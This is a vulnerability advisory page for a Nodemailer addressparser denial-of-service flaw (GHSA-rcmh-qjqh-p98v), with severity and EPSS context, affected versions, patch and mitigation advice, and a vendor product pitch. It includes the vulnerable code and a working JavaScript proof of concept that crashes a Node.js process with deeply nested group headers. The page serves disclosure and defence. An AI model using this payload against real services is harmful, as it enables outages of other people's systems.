GHSA-rcmh-qjqh-p98v is a high-severity (CVSS 7.5) CWE-703 vulnerability in org.webjars.npm:nodemailer. A fix is available for org.webjars.npm:nodemailer — see the affected versions and patch details below.
Nodemailer’s addressparser is vulnerable to DoS caused by recursive calls
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-rcmh-qjqh-p98v.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-rcmh-qjqh-p98v plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
nodemailernpmDescription
Summary
A DoS can occur that immediately halts the system due to the use of an unsafe function.
Details
According to RFC 5322, nested group structures (a group inside another group) are not allowed. Therefore, in lib/addressparser/index.js, the email address parser performs flattening when nested groups appear, since such input is likely to be abnormal. (If the address is valid, it is added as-is.) In other words, the parser flattens all nested groups and inserts them into the final group list. However, the code implemented for this flattening process can be exploited by malicious input and triggers DoS
RFC 5322 uses a colon (:) to define a group, and commas (,) are used to separate members within a group. At the following location in lib/addressparser/index.js:
https://github.com/nodemailer/nodemailer/blob/master/lib/addressparser/index.js#L90
there is code that performs this flattening. The issue occurs when the email address parser attempts to process the following kind of malicious address header:
g0: g1: g2: g3: ... gN: [email protected];
Because no recursion depth limit is enforced, the parser repeatedly invokes itself in the pattern
addressparser → _handleAddress → addressparser → ...
for each nested group. As a result, when an attacker sends a header containing many colons, Nodemailer enters infinite recursion, eventually throwing Maximum call stack size exceeded and causing the process to terminate immediately. Due to the structure of this behavior, no authentication is required, and a single request is enough to shut down the service.
The problematic code section is as follows:
if (isGroup) {
...
if (data.group.length) {
let parsedGroup = addressparser(data.group.join(',')); // <- boom!
parsedGroup.forEach(member => {
if (member.group) {
groupMembers = groupMembers.concat(member.group);
} else {
groupMembers.push(member);
}
});
}
}
data.group is expected to contain members separated by commas, but in the attacker’s payload the group contains colon (:) tokens. Because of this, the parser repeatedly triggers recursive calls for each colon, proportional to their number.
PoC
const nodemailer = require('nodemailer');
function buildDeepGroup(depth) {
let parts = [];
for (let i = 0; i < depth; i++) {
parts.push(`g${i}:`);
}
return parts.join(' ') + ' [email protected];';
}
const DEPTH = 3000; // <- control depth
const toHeader = buildDeepGroup(DEPTH);
console.log('to header length:', toHeader.length);
const transporter = nodemailer.createTransport({
streamTransport: true,
buffer: true,
newline: 'unix'
});
console.log('parsing start');
transporter.sendMail(
{
from: '[email protected]',
to: toHeader,
subject: 'test',
text: 'test'
},
(err, info) => {
if (err) {
console.error('error:', err);
} else {
console.log('finished :', info && info.envelope);
}
}
);
As a result, when the colon is repeated beyond a certain threshold, the Node.js process terminates immediately.
Impact
The attacker can achieve the following:
- Force an immediate crash of any server/service that uses Nodemailer
- Kill the backend process with a single web request
- In environments using PM2/Forever, trigger a continuous restart loop, causing severe resource exhaustion”
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | org.webjars.npm:nodemailer | ≥ 3.0.0 | No fix |
| 📦npm | nodemailer | ≥ 3.0.0&&< 7.0.11 | 7.0.11npm install nodemailer@7.0.11 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.webjars.npm:nodemailer, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
No patched version of org.webjars.npm:nodemailer has shipped for GHSA-rcmh-qjqh-p98v yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-rcmh-qjqh-p98v can be triaged on real exposure rather than presence alone.
Tailored to GHSA-rcmh-qjqh-p98v. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-rcmh-qjqh-p98v in your dependencies?
O3 Security finds GHSA-rcmh-qjqh-p98v across Maven, npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.